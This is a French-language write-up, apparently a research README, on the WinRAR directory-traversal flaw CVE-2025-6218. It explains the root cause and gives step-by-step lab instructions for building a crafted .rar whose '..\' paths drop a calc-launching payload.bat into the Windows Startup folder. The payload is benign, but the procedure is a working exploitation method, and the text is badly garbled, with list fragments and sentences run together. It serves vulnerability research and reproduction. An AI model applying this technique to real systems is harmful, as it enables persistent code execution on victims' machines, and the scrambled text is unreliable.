
CVE-2025-6218 est une vulnérabilité de traversée de répertoire dans WinRAR qui permet à un attaquant de placer des fichiers en dehors du répertoire d'extraction prévu lorsqu'un utilisateur extrait un fichier spécialement conçu
CVE-2025-6218 est une vulnérabilité de traversée de répertoire dans WinRAR qui permet à un attaquant de placer des fichiers en dehors du répertoire d'extraction prévu lorsqu'un utilisateur extrait une archive .rar spécialement conçue. En exploitant cette faille, un attaquant peut déposer des fichiers malveillants dans des emplacements sensibles, ce qui peut conduire à une exécution de code à distance (RCE) si le fichier est exécuté par le système ou l'utilisateur.
---
WinRAR.exe --version).Les vulnérabilités de traversée de répertoire permettent aux attaquants de manipuler les chemins de fichiers pour écrire des fichiers dans des emplacements non prévus. Dans le contexte de WinRAR, cela signifie qu'un fichier destiné à être extrait dans C:\Temp pourrait être placé dans un répertoire sensible comme le dossier Démarrage de Windows (C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup). Si un exécutable ou un script malveillant est placé dans un tel emplacement, il pourrait s'exécuter automatiquement, donnant à l'attaquant le contrôle sur le système de la victime.
Un attaquant peut :
.bat) dans le dossier Démarrage pour exécuter du code au démarrage du système.C:\Windows\System32 pour perturber le fonctionnement du système ou élever les privilèges.La vulnérabilité provient de l'incapacité de WinRAR à valider et nettoyer correctement les chemins de fichiers stockés dans une archive .rar. Lors de l'extraction des fichiers, WinRAR fait confiance aux métadonnées du chemin du fichier dans l'archive sans vérifier suffisamment les séquences de traversée de répertoire comme ..\ ou ../../. Cela permet à un attaquant de créer une archive où le chemin d'un fichier pointe en dehors du répertoire d'extraction prévu.
..\..\..\ trompent le processus d'extraction..\ dans un chemin de fichier indique au système de remonter d'un niveau de répertoire. En enchaînant plusieurs séquences ..\ (par exemple, ..\..\..\..\..), un attaquant peut naviguer du répertoire d'extraction (par exemple, C:\Temp\Test) à la racine du lecteur (C:\) puis vers n'importe quel emplacement souhaité, comme C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup.C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup s'exécutent automatiquement lorsqu'un utilisateur se connecte. Un fichier .bat ou .exe malveillant ici peut exécuter des commandes arbitraires.C:\Windows\System32 peut compromettre l'intégrité du système ou permettre une élévation de privilèges.Extraction prévue (sécurisée) :
- L'utilisateur extrait l'archive vers : C:\Temp\Test
- L'archive contient le fichier : payload.bat
- Résultat attendu : C:\Temp\Test\payload.bat
Extraction réelle (exploitée) :
- L'utilisateur extrait l'archive vers : C:\Temp\Test
- L'archive contient un fichier avec le chemin : ..\..\..\..\..\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
- Résultat réel : C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
Cette section fournit des instructions étape par étape pour reproduire manuellement la vulnérabilité CVE-2025-6218 dans un environnement de laboratoire sûr et isolé à l'aide d'une machine virtuelle (VM) sans connectivité réseau. L'objectif est de créer une archive .rar qui place un fichier .bat inoffensif dans le dossier Démarrage de Windows, qui lance la Calculatrice (calc.exe) lors de la connexion de l'utilisateur.
Préparer un dossier de test :
exploit_test (par exemple, C:\exploit_test).Créer une charge utile simple :
@echo off
start calc.exe
payload.bat dans C:\exploit_test.Créer la structure de dossiers pour la traversée de répertoire :
C:\exploit_test, créez une structure de dossiers qui reflète le chemin souhaité :
C:\exploit_test\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
<username> par le nom de l'utilisateur cible sur la VM (par exemple, absholi7ly).C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
payload.bat. S'il est présent, l'exploit de traversée de répertoire a réussi.payload.bat dans le Bloc-Notes pour vérifier son contenu :
@echo off
start calc.exe
payload.bat dans le dossier Démarrage et sélectionnez Propriétés.C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\payload.bat ou dans un sous-dossier comme C:\Users\username\AppData\Roaming\...), l'exploit n'a pas fonctionné comme prévu.username.payload.bat dans le dossier Démarrage pour vérifier qu'il fonctionne.Pour les chercheurs souhaitant rationaliser le processus, les étapes manuelles décrites ci-dessus peuvent être automatisées à l'aide d'un script Python.
payload.batStartupC:\exploit_test\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
Fabriquer l'archive RAR malveillante en utilisant WinRAR :
C:\exploit_test.Users (qui contient le chemin complet vers payload.bat).exploit.rar (par exemple, C:\exploit_test\exploit.rar).exploit.rar dans WinRAR. Vous devriez voir :
Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
Transférer l'archive vers la VM :
exploit.rar vers un dossier partagé ou une clé USB accessible par la VM.exploit.rar vers la racine du lecteur C:\ :
C:\exploit.rar
Extraire l'archive sur la VM :
C:\.exploit.rar et sélectionnez Extraire ici.payload.bat vers :
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
Vérifier l'exploitation :
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
payload.bat existe dans ce dossier.Tester l'exécution de la charge utile :
username.calc.exe) devrait se lancer automatiquement.payload.bat dans le dossier Démarrage pour confirmer qu'il ouvre la Calculatrice.